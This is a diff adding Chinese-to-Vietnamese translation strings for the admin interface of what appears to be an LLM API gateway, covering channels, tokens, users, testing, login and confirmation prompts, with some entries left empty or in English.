+    "注册": "Đăng ký",
+    "注册 Passkey": "Đăng ký Passkey",
+    "注册成功，请登录": "Đăng ký thành công, vui lòng đăng nhập",
+    "注册新用户": "Đăng ký người dùng mới",
+    "注册时间": "Thời gian đăng ký",
+    "注册用户": "Người dùng đã đăng ký",
+    "注册设置": "Cài đặt đăng ký",
+    "注意": "Lưu ý",
+    "注意：": "Lưu ý: ",
+    "注意：JSON中重复的键只会保留最后一个同名键的值": "Lưu ý: Trong JSON, các khóa trùng lặp sẽ chỉ giữ lại giá trị của khóa cuối cùng có cùng tên",
+    "注意：修改密码后，所有已登录的设备将被强制登出。": "Lưu ý: Sau khi thay đổi mật khẩu, tất cả các thiết bị đã đăng nhập sẽ bị buộc đăng xuất.",
+    "注意：所有配置更改在保存后立即生效。": "Lưu ý: Tất cả các thay đổi cấu hình có hiệu lực ngay sau khi lưu.",
+    "注意：请确保您的邮箱地址正确，否则您将无法找回密码。": "Lưu ý: Vui lòng đảm bảo địa chỉ email của bạn là chính xác, nếu không bạn sẽ không thể khôi phục mật khẩu của mình.",
+    "注意非Chat API，请务必填写正确的API地址，否则可能导致无法使用": "Lưu ý: Đối với API không phải Chat, vui lòng đảm bảo nhập đúng địa chỉ API, nếu không có thể dẫn đến không sử dụng được",
+    "注销": "Đăng xuất",
+    "注销成功!": "Đăng xuất thành công!",
+    "活跃文件": "Tệp đang hoạt động",
+    "活跃缓存数": "Số bộ nhớ đệm hoạt động",
+    "流": "luồng",
+    "流式": "Streaming",
+    "流式响应完成": "Luồng hoàn tất",
+    "流式输出": "Đầu ra luồng",
+    "流状态": "",
+    "流量端口": "Traffic Port",
+    "流错误详情": "",
+    "浅色": "Sáng",
+    "浅色模式": "Chế độ sáng",
+    "测活": "Health Check",
+    "测试": "Kiểm tra",
+    "测试中": "Đang kiểm tra",
+    "测试中...": "Đang kiểm tra...",
+    "测试供应商": "Kiểm tra nhà cung cấp",
+    "测试全部": "Kiểm tra tất cả",
+    "测试全部失败通道": "Kiểm tra tất cả các kênh thất bại",
+    "测试全部通道": "Kiểm tra tất cả các kênh",
+    "测试单个渠道操作项目组": "Kiểm tra nhóm dự án thao tác kênh đơn",
+    "测试失败": "Kiểm tra thất bại",
+    "测试失败，详情：": "Kiểm tra thất bại, chi tiết: ",
+    "测试失败：": "Test failed: ",
+    "测试完成": "Kiểm tra hoàn tất",
+    "测试成功": "Kiểm tra thành công",
+    "测试成功，耗时 ": "Kiểm tra thành công, mất ",
+    "测试所有未手动禁用渠道": "Kiểm tra tất cả các kênh ngoại trừ các kênh bị vô hiệu hóa thủ công",
+    "测试所有渠道的最长响应时间": "Thời gian phản hồi tối đa để kiểm tra tất cả các kênh",
+    "测试所有通道": "Kiểm tra tất cả các kênh",
+    "测试模型": "Mô hình kiểm tra",
+    "测试模型耗时": "Thời gian kiểm tra mô hình",
+    "测试模式": "Chế độ kiểm tra",
+    "测试渠道": "Kênh kiểm tra",
+    "测试结果": "Kết quả kiểm tra",
+    "测试耗时": "Thời gian kiểm tra",
+    "测试连接": "Test Connection",
+    "测试通道": "Kênh kiểm tra",
+    "测速": "Kiểm tra tốc độ",
+    "浏览": "Duyệt",
+    "消息": "Tin nhắn",
+    "消息优先级": "Ưu tiên tin nhắn",
+    "消息优先级，范围0-10，默认为5": "Ưu tiên tin nhắn, phạm vi 0-10, mặc định là 5",
+    "消息已删除": "Tin nhắn đã bị xóa",
+    "消息已复制到剪贴板": "Tin nhắn đã được sao chép vào khay nhớ tạm",
+    "消息已更新": "Tin nhắn đã được cập nhật",
+    "消息已清空": "Tin nhắn đã được xóa",
+    "消息已编辑": "Tin nhắn đã được chỉnh sửa",
+    "消息详情": "Chi tiết tin nhắn",
+    "消耗": "Tiêu thụ",
+    "消耗分布": "Phân phối tiêu thụ",
+    "消耗趋势": "Xu hướng tiêu thụ",
+    "消耗额度": "Hạn ngạch tiêu thụ",
+    "消费": "Tiêu thụ",
+    "深色": "Tối",
+    "深色模式": "Chế độ tối",
+    "添加": "Thêm",
+    "添加 (+:)": "Add (+:)",
+    "添加 IP": "Thêm IP",
+    "添加 IP 到白名单": "Thêm IP vào danh sách trắng",
+    "添加 IP 到黑名单": "Thêm IP vào danh sách đen",
+    "添加 OAuth 提供商": "Thêm nhà cung cấp OAuth",
+    "添加API": "Thêm API",
+    "添加产品": "Thêm sản phẩm",
+    "添加令牌": "Tạo mã thông báo",
+    "添加供应商": "Thêm nhà cung cấp",
+    "添加充值记录": "Thêm hồ sơ nạp tiền",
+    "添加兑换码": "Thêm mã đổi thưởng",
+    "添加公告": "Thêm thông báo",
+    "添加分类": "Thêm danh mục",
+    "添加分组": "Thêm nhóm",
+    "添加分组倍率": "Thêm tỷ lệ nhóm",
+    "添加分组规则": "Add Group Rules",
+    "添加后提交": "Submit after adding",
+    "添加启动参数": "Add Startup Args",
+    "添加启动命令": "Add Startup Command",
+    "添加域名": "Thêm tên miền",
+    "添加域名到白名单": "Thêm tên miền vào danh sách trắng",
+    "添加域名到黑名单": "Thêm tên miền vào danh sách đen",
+    "添加失败": "Thêm thất bại",
+    "添加失败，请重试": "Thêm thất bại, vui lòng thử lại",
+    "添加子渠道": "Thêm kênh phụ",
+    "添加密钥": "Thêm khóa",
+    "添加密钥环境变量": "Add Secret Environment Variable",
+    "添加屏蔽词": "Thêm từ bị chặn",
+    "添加成功": "Thêm thành công",
+    "添加新分组": "Thêm nhóm mới",
+    "添加新密钥": "Thêm khóa mới",
+    "添加新模型": "Thêm mô hình mới",
+    "添加新渠道": "Thêm kênh mới",
+    "添加新用户": "Thêm người dùng mới",
+    "添加新通道": "Thêm kênh mới",
+    "添加标签": "Thêm thẻ",
+    "添加模型": "Thêm mô hình",
+    "添加模型倍率": "Thêm tỷ lệ mô hình",
+    "添加模型区域": "Thêm khu vực mô hình",
+    "添加渠道": "Thêm kênh",
+    "添加环境变量": "Add Environment Variable",
+    "添加用户": "Thêm người dùng",
+    "添加聊天配置": "Thêm cấu hình trò chuyện",
+    "添加规则": "Add Rule",
+    "添加通道": "Thêm kênh",
+    "添加键值对": "Thêm cặp khóa-giá trị",
+    "添加问答": "Thêm hỏi đáp",
+    "添加额度": "Thêm hạn ngạch",
+    "清理": "Dọn dẹp",
+    "清理不活跃缓存": "Xóa cache không hoạt động",
+    "清理历史日志": "Dọn dẹp nhật ký lịch sử",
+    "清理失败": "Dọn dẹp thất bại",
+    "清理成功": "Dọn dẹp thành công",
+    "清理数据": "Dọn dẹp dữ liệu",
+    "清理方式": "Chế độ dọn dẹp",
+    "清理日志": "Dọn dẹp nhật ký",
+    "清理日志文件": "Dọn dẹp tệp nhật ký",
+    "清理未使用的模型": "Dọn dẹp các mô hình không sử dụng",
+    "清空": "Xóa",
+    "清空全部缓存": "Xóa tất cả bộ nhớ đệm",
+    "清空历史记录": "Xóa lịch sử",
+    "清空对话": "Xóa cuộc trò chuyện",
+    "清空对话记录": "Xóa hồ sơ cuộc trò chuyện",
+    "清空所有数据": "Xóa tất cả dữ liệu",
+    "清空日志": "Xóa nhật ký",
+    "清空测试结果": "Xóa kết quả kiểm tra",
+    "清空该规则缓存": "Xóa bộ nhớ đệm của quy tắc này",
+    "清空重定向": "Xóa chuyển hướng",
+    "清除": "",
+    "清除历史日志": "Xóa nhật ký lịch sử",
+    "清除失效兑换码": "Xóa mã đổi thưởng không hợp lệ",
+    "清除所有模型": "Xóa tất cả các mô hình",
+    "渠道": "Kênh",
+    "渠道 ID": "ID kênh",
+    "渠道ID": "ID kênh",
+    "渠道ID，名称，密钥，API地址": "ID kênh, tên, khóa, Base URL",
+    "渠道亲和性": "Độ ưu tiên kênh",
+    "渠道亲和性：上游缓存命中": "Ưu ái kênh: Trúng bộ nhớ đệm upstream",
+    "渠道亲和性会基于从请求上下文或 JSON Body 提取的 Key，优先复用上一次成功的渠道。": "Ưu ái kênh tái sử dụng kênh thành công lần cuối dựa trên key được trích xuất từ context yêu cầu hoặc JSON body.",
+    "渠道优先级": "Ưu tiên kênh",
+    "渠道信息": "Thông tin kênh",
+    "渠道列表": "Danh sách kênh",
+    "渠道创建成功！": "Tạo kênh thành công!",
+    "渠道别名": "Bí danh kênh",
+    "渠道占位符": "Trình giữ chỗ kênh",
+    "渠道名称": "Tên kênh",
+    "渠道名称/备注": "Tên kênh/Ghi chú",
+    "渠道复制失败": "Sao chép kênh thất bại",
+    "渠道复制失败: ": "Sao chép kênh thất bại: ",
+    "渠道复制成功": "Sao chép kênh thành công",
+    "渠道密钥": "Khóa kênh",
+    "渠道密钥信息": "Thông tin khóa kênh",
+    "渠道密钥列表": "Danh sách khóa kênh",
+    "渠道已禁用": "Kênh đã bị vô hiệu hóa",
+    "渠道排序": "Sắp xếp kênh",
+    "渠道更新成功！": "Cập nhật kênh thành công!",
+    "渠道权重": "Trọng số kênh",
+    "渠道标签": "Thẻ kênh",
+    "渠道模型信息不完整": "Thông tin mô hình kênh không đầy đủ",
+    "渠道测试": "Kiểm tra kênh",
+    "渠道状态": "Trạng thái kênh",
+    "渠道的基本配置信息": "Thông tin cấu hình cơ bản của kênh",
+    "渠道的模型测试": "Kiểm tra mô hình kênh",
+    "渠道的高级配置选项": "Tùy chọn cấu hình nâng cao của kênh",
+    "渠道管理": "Quản lý kênh",
+    "渠道类型": "Loại kênh",
+    "渠道行为": "Hành vi kênh",
+    "渠道设置": "Cài đặt kênh",
+    "渠道详情": "Chi tiết kênh",
+    "渠道配置": "Cấu hình kênh",
+    "渠道重定向": "Chuyển hướng kênh",
+    "渠道额外设置": "Cài đặt bổ sung kênh",
+    "温馨提示": "Lời nhắc nhở ấm áp",
+    "渲染": "Kết xuất",
+    "源地址": "Địa chỉ nguồn",
+    "源码": "Mã nguồn",
+    "满": "Đầy",
+    "满足任一条件（OR）": "Đáp ứng bất kỳ điều kiện (OR)",
+    "演示站点": "Trang web demo",
+    "演示站点模式": "Chế độ trang web demo",
+    "激活": "Kích hoạt",
+    "点击": "Nhấp",
+    "点击 + 按钮添加图片URL进行多模态对话": "Nhấp + để thêm URL hình ảnh cho cuộc trò chuyện đa phương thức",
+    "点击\"确认延长\"后将立即扣除费用并延长容器运行时间": "After clicking \"Confirm Extension\", the fee will be deducted immediately and the container runtime will be extended",
+    "点击上传": "Nhấp để tải lên",
+    "点击上传文件或拖拽文件到这里": "Nhấp để tải lên tệp hoặc kéo và thả tệp vào đây",
+    "点击下方按钮通过 Telegram 完成绑定": "Nhấp vào nút bên dưới để hoàn tất liên kết qua Telegram",
+    "点击修改": "Nhấp để sửa đổi",
+    "点击处理删除模型": "",
+    "点击处理新增模型": "",
+    "点击复制": "Nhấp để sao chép",
+    "点击复制ID": "Click to copy ID",
+    "点击复制模型名称": "Nhấp để sao chép tên mô hình",
+    "点击查看": "Nhấp để xem",
+    "点击查看差异": "Nhấp để xem sự khác biệt",
+    "点击查看详细错误信息": "Nhấp để xem thông tin lỗi chi tiết",
+    "点击此处": "nhấp vào đây",
+    "点击添加": "Nhấp để thêm",
+    "点击生成": "Nhấp để tạo",
+    "点击登录": "Nhấp để đăng nhập",
+    "点击进行验证": "Nhấp để xác minh",
+    "点击重试": "Nhấp để thử lại",
+    "点击链接重置密码": "Nhấp vào liên kết để đặt lại mật khẩu",
+    "点击阅读": "Nhấp để đọc",
+    "点击预览视频": "Nhấp để xem trước video",
+    "点击预览音乐": "Nhấp để nghe nhạc",
+    "点击验证按钮，使用您的生物特征或安全密钥": "Nhấp vào nút xác minh và sử dụng sinh trắc học hoặc khóa bảo mật của bạn",
+    "版": "Phiên bản",
+    "版本": "Phiên bản",
+    "版本号": "Số phiên bản",
+    "版权所有": "Đã đăng ký bản quyền",
+    "特惠": "Ưu đãi đặc biệt",
+    "特殊倍率": "Special Ratios",
+    "特殊可用分组规则": "Special Usable Group Rules",
+    "状态": "Trạng thái",
+    "状态更新时间": "Thời gian cập nhật trạng thái",
+    "状态码": "Mã trạng thái",
+    "状态码复写": "Ghi đè mã trạng thái",
+    "状态码复写包含无效的状态码": "Ghi đè mã trạng thái chứa mã trạng thái không hợp lệ",
+    "状态筛选": "Lọc trạng thái",
+    "状态页面Slug": "Slug trang trạng thái",
+    "环境变量": "Environment Variables",
+    "生产环境 RSA 私钥 Base64 (PKCS#8 DER)": "Khóa riêng RSA Base64 (PKCS#8 DER) môi trường sản xuất",
+    "生产环境 Waffo API 密钥": "",
+    "生产环境 Waffo 公钥 Base64 (X.509 DER)": "Khóa công khai Waffo Base64 (X.509 DER) môi trường sản xuất",
+    "生成": "Tạo",
+    "生成中...": "Đang tạo...",
+    "生成令牌": "Tạo mã thông báo",
+    "生成兑换码": "Tạo mã đổi thưởng",
+    "生成失败": "Tạo thất bại",
+    "生成并填入": "Tạo và điền",
+    "生成成功": "Tạo thành công",
+    "生成数量": "Số lượng tạo",
+    "生成数量必须大于0": "Số lượng tạo phải lớn hơn 0",
+    "生成新密钥": "Tạo khóa mới",
+    "生成新的备用码": "Tạo mã dự phòng mới",
+    "生成时间": "Thời gian tạo",
+    "生成歌词": "Tạo lời bài hát",
+    "生成访问令牌": "Tạo mã thông báo truy cập",
+    "生成音乐": "tạo nhạc",
+    "生效": "Có hiệu lực",
+    "生效时间": "Thời gian hiệu lực",
+    "用于 Claude 3 预测输出，请前往": "Đối với đầu ra dự đoán Claude 3, vui lòng truy cập",
+    "用于 DALL-E 2 图片生成，请前往": "Đối với việc tạo hình ảnh DALL-E 2, vui lòng truy cập",
+    "用于 DALL-E 3 图片生成，请前往": "Đối với việc tạo hình ảnh DALL-E 3, vui lòng truy cập",
+    "用于 UI 显示": "Dùng cho hiển thị UI",
+    "用于API调用的身份验证令牌，请妥善保管": "Mã thông báo xác thực cho các cuộc gọi API, vui lòng giữ an toàn",
+    "用于唯一标识用户的字段路径": "Đường dẫn trường để nhận dạng duy nhất người dùng",
+    "用于配置网络代理，支持 socks5 协议": "Được sử dụng để cấu hình proxy mạng, hỗ trợ giao thức socks5",
+    "用于非 OpenAI 格式的 Gemini/Vertex 渠道": "Dành cho các kênh Gemini/Vertex không phải định dạng OpenAI",
+    "用于验证回调 new-api 的 webhook 请求的密钥，敏感信息不显示": "Khóa được sử dụng để xác minh các yêu cầu webhook gọi lại new-api, thông tin nhạy cảm không được hiển thị.",
+    "用以支持基于 WebAuthn 的无密码登录注册": "Hỗ trợ đăng nhập và đăng ký không mật khẩu dựa trên WebAuthn",
+    "用以支持用户校验": "Để hỗ trợ xác minh người dùng",
+    "用以支持系统的邮件发送": "Để hỗ trợ gửi email hệ thống",
+    "用以支持通过 Discord 进行登录注册": "Used to support login & registration through Discord",
+    "用以支持通过 GitHub 进行登录注册": "Để hỗ trợ đăng nhập & đăng ký qua GitHub",
+    "用以支持通过 Linux DO 进行登录注册": "Để hỗ trợ đăng nhập & đăng ký qua Linux DO",
+    "用以支持通过 OIDC 登录，例如 Okta、Auth0 等兼容 OIDC 协议的 IdP": "Để hỗ trợ đăng nhập qua OIDC, chẳng hạn như Okta, Auth0 và các IdP khác tương thích với giao thức OIDC",
+    "用以支持通过 Telegram 进行登录注册": "Để hỗ trợ đăng nhập & đăng ký qua Telegram",
+    "用以支持通过微信进行登录注册": "Để hỗ trợ đăng nhập & đăng ký qua WeChat",
+    "用以防止恶意用户利用临时邮箱批量注册": "Để ngăn chặn người dùng độc hại đăng ký hàng loạt bằng địa chỉ email tạm thời",
+    "用户": "Người dùng",
+    "用户 ID": "ID người dùng",
+    "用户 ID 字段（可选）": "Trường ID người dùng (tùy chọn)",
+    "用户 ID 或用户名": "ID người dùng hoặc tên người dùng",
+    "用户ID": "ID người dùng",
+    "用户个人功能": "Chức năng cá nhân người dùng",
+    "用户个人设置": "Cài đặt cá nhân người dùng",
+    "用户中心": "Trung tâm người dùng",
+    "用户主页，展示系统信息": "Trang chủ người dùng, hiển thị thông tin hệ thống",
+    "用户优先：如果用户在请求中指定了系统提示词，将优先使用用户的设置": "Ưu tiên người dùng: Nếu người dùng chỉ định từ nhắc hệ thống trong yêu cầu, cài đặt của người dùng sẽ được sử dụng trước",
+    "用户信息": "Thông tin người dùng",
+    "用户信息更新成功！": "Cập nhật thông tin người dùng thành công!",
+    "用户信息缺失": "Thiếu thông tin người dùng",
+    "用户最大令牌数量": "Số token tối đa mỗi người dùng",
+    "用户分组": "Nhóm người dùng",
+    "用户分组和额度管理": "Quản lý nhóm người dùng và hạn ngạch",
+    "用户分组的联动作用": "How user group affects other features",
+    "用户分组设置": "Cài đặt nhóm người dùng",
+    "用户分组配置": "Cấu hình nhóm người dùng",
+    "用户列表": "Danh sách người dùng",
+    "用户创建令牌 → 选择分组下拉框：": "User creates token → group dropdown:",
+    "用户创建令牌时选择的分组，决定该令牌的实际计费倍率。一个用户可以创建多个令牌，使用不同分组。": "The group selected when creating a token determines its billing ratio. A user can create multiple tokens using different groups.",
+    "用户创建成功，密码为": "Người dùng được tạo thành công, mật khẩu là",
+    "用户协议": "Thỏa thuận người dùng",
+    "用户协议已更新": "Thỏa thuận người dùng đã được cập nhật",
+    "用户协议更新失败": "Cập nhật thỏa thuận người dùng thất bại",
+    "用户可选": "User Selectable",
+    "用户可选分组": "Nhóm người dùng có thể chọn",
+    "用户可选分组的名称和描述（只包含勾选了用户可选的分组）": "Names and descriptions of user-selectable groups (only includes checked groups)",
+    "用户名": "Tên người dùng",
+    "用户名字段（可选）": "Trường tên người dùng (tùy chọn)",
+    "用户名或邮箱": "Tên người dùng hoặc email",
+    "用户名称": "Tên người dùng",
+    "用户在充值页面看到的支付方式名称，例如：Credit Card": "",
+    "用户在线": "Người dùng trực tuyến",
+    "用户头像": "Ảnh đại diện người dùng",
+    "用户密码": "Mật khẩu người dùng",
+    "用户已存在": "Người dùng đã tồn tại",
+    "用户已禁用": "Người dùng đã bị vô hiệu hóa",
+    "用户总数": "Tổng số người dùng",
+    "用户指南": "Hướng dẫn người dùng",
+    "用户控制面板，管理账户": "Bảng điều khiển người dùng để quản lý tài khoản",
+    "用户新建令牌时可选的分组，格式为 JSON 字符串，例如：{\"vip\": \"VIP 用户\", \"test\": \"测试\"}，表示用户可以选择 vip 分组和 test 分组": "Nhóm người dùng có thể chọn khi tạo mã thông báo, ở định dạng chuỗi JSON, ví dụ: {\"vip\": \"Người dùng VIP\", \"test\": \"Kiểm tra\"}, cho biết người dùng có thể chọn nhóm vip và nhóm test",
+    "用户权限": "Quyền người dùng",
+    "用户每周期最多请求完成次数": "Số lần yêu cầu thành công tối đa của người dùng mỗi chu kỳ",
+    "用户每周期最多请求次数": "Số lần yêu cầu tối đa của người dùng mỗi chu kỳ",
+    "用户注册": "Đăng ký người dùng",
+    "用户注册时看到的网站名称，比如'我的网站'": "Tên trang web người dùng nhìn thấy khi đăng ký, ví dụ: 'Trang web của tôi'",
+    "用户注册设置": "Cài đặt đăng ký người dùng",
+    "用户消耗排行": "Xếp hạng tiêu thụ người dùng",
+    "用户消耗趋势": "Xu hướng tiêu thụ người dùng",
+    "用户登录": "Đăng nhập người dùng",
+    "用户的基本账户信息": "Thông tin tài khoản cơ bản của người dùng",
+    "用户管理": "Quản lý người dùng",
+    "用户组": "Nhóm người dùng",
+    "用户订阅管理": "Quản lý đăng ký người dùng",
+    "用户设置": "Cài đặt người dùng",
+    "用户详情": "Chi tiết người dùng",
+    "用户账户创建成功！": "Tạo tài khoản người dùng thành công!",
+    "用户账户管理": "Quản lý tài khoản người dùng",
+    "用户重置密码": "Đặt lại mật khẩu người dùng",
+    "用户额度": "Hạn ngạch người dùng",
+    "用户额度设置": "Cài đặt hạn ngạch người dùng",
+    "用时/首字": "Thời gian/từ đầu tiên",
+    "用途": "Mục đích",
+    "由全站货币展示设置统一控制": "Được điều khiển bởi cài đặt hiển thị tiền tệ toàn site",
+    "由管理员分配，决定用户身份等级（如 default、vip）。": "Assigned by admin, determines user tier (e.g., default, vip).",
+    "由订阅抵扣": "Khấu trừ bởi gói đăng ký",
+    "申请": "Đăng ký",
+    "申请时间": "Thời gian đăng ký",
+    "电子邮箱": "Email",
+    "画图": "Vẽ",
+    "画图接口": "Giao diện vẽ",
+    "界面语言和其他个人偏好": "Ngôn ngữ giao diện và tùy chọn cá nhân khác",
+    "留空使用系统临时目录": "Để trống để sử dụng thư mục tạm hệ thống",
+    "留空则不修改": "Để trống để không sửa đổi",
+    "留空则不修改密码": "Để trống để không thay đổi mật khẩu",
+    "留空则使用账号绑定的邮箱": "Nếu để trống, địa chỉ email liên kết với tài khoản sẽ được sử dụng",
+    "留空则使用默认值": "Để trống để sử dụng giá trị mặc định",
+    "留空则使用默认端点；支持 {path, method}": "Để trống để sử dụng điểm cuối mặc định; hỗ trợ {path, method}",
+    "留空则使用默认设置": "Để trống để sử dụng cài đặt mặc định",
+    "留空则保持原有密钥": "Để trống để giữ khóa hiện tại",
+    "留空则禁用": "Để trống để vô hiệu hóa",
+    "留空则自动使用 服务器地址 + /api/waffo/webhook": "",
+    "留空则自动生成": "Để trống để tự động tạo",
+    "留空则默认使用服务器地址，注意不能携带http://或者https://": "Nếu để trống, địa chỉ máy chủ sẽ được sử dụng theo mặc định. Lưu ý rằng không được bao gồm http:// hoặc https://",
+    "登 录": "Đăng nhập",
+    "登录": "Đăng nhập",
+    "登录/注册": "Đăng nhập/Đăng ký",
+    "登录失败": "Đăng nhập thất bại",
+    "登录失败，请重试": "Đăng nhập thất bại, vui lòng thử lại",
+    "登录成功": "Đăng nhập thành công",
+    "登录成功！": "Đăng nhập thành công!",
+    "登录方式": "Phương thức đăng nhập",
+    "登录日志": "Nhật ký đăng nhập",
+    "登录注册": "Đăng nhập & Đăng ký",
+    "登录设置": "Cài đặt đăng nhập",
+    "登录账户": "Đăng nhập tài khoản",
+    "登录过期，请重新登录！": "Đăng nhập hết hạn, vui lòng đăng nhập lại!",
+    "登录验证": "Xác minh đăng nhập",
+    "白名单": "Danh sách trắng",
+    "的前提下使用。": "để sử dụng trong các điều kiện sau:",
+    "监听端口": "Cổng lắng nghe",
+    "监控": "Giám sát",
+    "监控地址": "Địa chỉ giám sát",
+    "监控管理": "Quản lý giám sát",
+    "监控设置": "Cài đặt giám sát",
+    "目前仅支持": "Hiện tại chỉ hỗ trợ",
+    "目前支持": "Hiện tại hỗ trợ",
+    "目前支持的变量": "Các biến hiện được hỗ trợ",
+    "目录总大小": "Tổng kích thước thư mục",
+    "目录文件数": "Số tệp trong thư mục",
+    "目标": "Mục tiêu",
+    "目标 URL": "URL mục tiêu",
+    "目标分组": "Target Group",
+    "目标地址": "Địa chỉ mục tiêu",
+    "目标用户：{{username}}": "Người dùng mục tiêu: {{username}}",
+    "目标端点": "Endpoint đích",
+    "目标路径（可选）": "Đường dẫn đích (tùy chọn)",
+    "直接提交": "Submit directly",
+    "直接编辑 JSON 文本，保存时会校验格式。": "Chỉnh sửa trực tiếp văn bản JSON; định dạng sẽ được xác thực khi lưu.",
+    "直接追加（和添加类似，但无前缀）": "Directly append (similar to Add, but without prefix)",
+    "直连": "Kết nối trực tiếp",
+    "相关设置": "Cài đặt liên quan",
+    "相关项目": "Dự án liên quan",
+    "相当于删除用户，此修改将不可逆": "Tương đương với việc xóa người dùng, sửa đổi này là không thể đảo ngược",
+    "真实请求时间": "Thời gian yêu cầu thực",
+    "矛盾": "Xung đột",
+    "知识库 ID": "ID cơ sở kiến thức",
+    "硬件": "Hardware",
+    "硬件与性能": "Hardware & Performance",
+    "硬件类型": "Hardware Type",
+    "硬件配置": "Hardware Configuration",
+    "确定": "Xác nhận",
+    "确定？": "Chắc chắn?",
+    "确定删除": "Xác nhận xóa",
+    "确定删除此令牌？": "Bạn có chắc chắn muốn xóa mã thông báo này không?",
+    "确定删除此兑换码？": "Bạn có chắc chắn muốn xóa mã đổi thưởng này không?",
+    "确定删除此公告？": "Bạn có chắc chắn muốn xóa thông báo này không?",
+    "确定删除此分组？": "Bạn có chắc chắn muốn xóa nhóm này không?",
+    "确定删除此密钥？": "Bạn có chắc chắn muốn xóa khóa này không?",
+    "确定删除此模型？": "Bạn có chắc chắn muốn xóa mô hình này không?",
+    "确定删除此渠道？": "Bạn có chắc chắn muốn xóa kênh này không?",
+    "确定删除此用户？": "Bạn có chắc chắn muốn xóa người dùng này không?",
+    "确定删除此组？": "Xác nhận xóa nhóm này?",
+    "确定删除此通道？": "Bạn có chắc chắn muốn xóa kênh này không?",
+    "确定导入": "Xác nhận nhập",
+    "确定是否要修复数据库一致性？": "Bạn có chắc chắn muốn sửa chữa tính nhất quán của cơ sở dữ liệu không?",
+    "确定是否要删除所选通道？": "Bạn có chắc chắn muốn xóa các kênh đã chọn không?",
+    "确定是否要删除此令牌？": "Bạn có chắc chắn muốn xóa mã thông báo này không?",
+    "确定是否要删除此兑换码？": "Bạn có chắc chắn muốn xóa mã đổi thưởng này không?",
+    "确定是否要删除此模型？": "Bạn có chắc chắn muốn xóa mô hình này không?",
+    "确定是否要删除此渠道？": "Bạn có chắc chắn muốn xóa kênh này không?",
+    "确定是否要删除禁用通道？": "Bạn có chắc chắn muốn xóa kênh bị vô hiệu hóa không?",
+    "确定是否要复制此渠道？": "Bạn có chắc chắn muốn sao chép kênh này không?",
+    "确定是否要注销此用户？": "Bạn có chắc chắn muốn hủy kích hoạt người dùng này không?",
+    "确定清除所有失效兑换码？": "Bạn có chắc chắn muốn xóa tất cả các mã đổi thưởng không hợp lệ không?",
+    "确定要仅检测全部渠道上游模型更新吗？（不执行新增/删除）": "",
+    "确定要修改所有子渠道优先级为 ": "Xác nhận sửa đổi tất cả các ưu tiên kênh con thành ",
+    "确定要修改所有子渠道权重为 ": "Xác nhận sửa đổi tất cả các trọng số kênh con thành ",
+    "确定要充值 $": "Confirm to recharge $",
+    "确定要删除供应商 \"{{name}}\" 吗？此操作不可撤销。": "Bạn có chắc chắn muốn xóa nhà cung cấp \"{{name}}\" không? Thao tác này không thể hoàn tác.",
+    "确定要删除吗？": "Bạn có chắc chắn muốn xóa không?",
+    "确定要删除所有已自动禁用的密钥吗？": "Bạn có chắc chắn muốn xóa tất cả các khóa bị vô hiệu hóa tự động không?",
+    "确定要删除所选的 {{count}} 个令牌吗？_one": "Bạn có chắc chắn muốn xóa {{count}} mã thông báo đã chọn không?",
+    "确定要删除所选的 {{count}} 个令牌吗？_other": "Bạn có chắc chắn muốn xóa {{count}} mã thông báo đã chọn không?",
+    "确定要删除所选的 {{count}} 个模型吗？_one": "Bạn có chắc chắn muốn xóa {{count}} mô hình đã chọn không?",
+    "确定要删除所选的 {{count}} 个模型吗？_other": "Bạn có chắc chắn muốn xóa {{count}} mô hình đã chọn không?",
+    "确定要删除此 OAuth 提供商吗？": "Bạn có chắc muốn xóa nhà cung cấp OAuth này không?",
+    "确定要删除此API信息吗？": "Bạn có chắc chắn muốn xóa thông tin API này không?",
+    "确定要删除此公告吗？": "Bạn có chắc chắn muốn xóa thông báo này không?",
+    "确定要删除此分类吗？": "Bạn có chắc chắn muốn xóa danh mục này không?",
+    "确定要删除此密钥吗？": "Bạn có chắc chắn muốn xóa khóa này không?",
+    "确定要删除此问答吗？": "Bạn có chắc chắn muốn xóa câu hỏi thường gặp này không?",
+    "确定要删除这条消息吗？": "Bạn có chắc chắn muốn xóa tin nhắn này không?",
+    "确定要删除选中的": "Are you sure you want to delete the selected",
+    "确定要启用所有密钥吗？": "Bạn có chắc chắn muốn bật tất cả các khóa không?",
+    "确定要启用此用户吗？": "Bạn có chắc chắn muốn bật người dùng này không?",
+    "确定要对全部渠道执行上游模型更新吗？": "",
+    "确定要提升此用户吗？": "Bạn có chắc chắn muốn thăng cấp người dùng này không?",
+    "确定要更新所有已启用通道余额吗？": "Bạn có chắc chắn muốn cập nhật số dư của tất cả các kênh đã bật không?",
+    "确定要测试所有未手动禁用渠道吗？": "Bạn có chắc chắn muốn kiểm tra tất cả các kênh ngoại trừ các kênh bị vô hiệu hóa thủ công không?",
+    "确定要测试所有通道吗？": "Bạn có chắc chắn muốn kiểm tra tất cả các kênh không?",
+    "确定要禁用所有的密钥吗？": "Bạn có chắc chắn muốn vô hiệu hóa tất cả các khóa không?",
+    "确定要禁用此用户吗？": "Bạn có chắc chắn muốn vô hiệu hóa người dùng này không?",
+    "确定要解绑 {{name}} 吗？": "Bạn có chắc muốn hủy liên kết {{name}} không?",
+    "确定要降级此用户吗？": "Bạn có chắc chắn muốn hạ cấp người dùng này không?",
+    "确定重置": "Xác nhận đặt lại",
+    "确定重置模型倍率吗？": "Xác nhận đặt lại tỷ lệ mô hình?",
+    "确认": "Xác nhận",
+    "确认作废": "Xác nhận vô hiệu",
+    "确认修改": "Xác nhận sửa đổi",
+    "确认关闭提示": "Xác nhận đóng",
+    "确认冲突项修改": "Xác nhận sửa đổi mục xung đột",
+    "确认删除": "Xác nhận xóa",
+    "确认删除模型": "Confirm Delete Model",
+    "确认删除该分组？": "Confirm delete this group?",
+    "确认删除该分组的所有规则？": "Delete all rules for this group?",
+    "确认删除该规则？": "Confirm delete this rule?",
+    "确认取消密码登录": "Xác nhận hủy đăng nhập mật khẩu",
+    "确认启用": "Xác nhận bật",
+    "确认密码": "Xác nhận mật khẩu",
+    "确认导入配置": "Xác nhận nhập cấu hình",
+    "确认延长": "Confirm Extension",
+    "确认延长容器时长": "Confirm Container Duration Extension",
+    "确认提交": "Xác nhận gửi",
+    "确认操作": "Confirm Operation",
+    "确认支付": "Xác nhận thanh toán",
+    "确认新密码": "Xác nhận mật khẩu mới",
+    "确认清理不活跃的磁盘缓存？": "Xác nhận xóa cache đĩa không hoạt động?",
+    "确认清理日志文件？": "Xác nhận dọn dẹp tệp nhật ký?",
+    "确认清空全部渠道亲和性缓存": "Xác nhận xóa tất cả bộ nhớ đệm ưu ái kênh",
+    "确认清空该规则缓存": "Xác nhận xóa bộ nhớ đệm của quy tắc này",
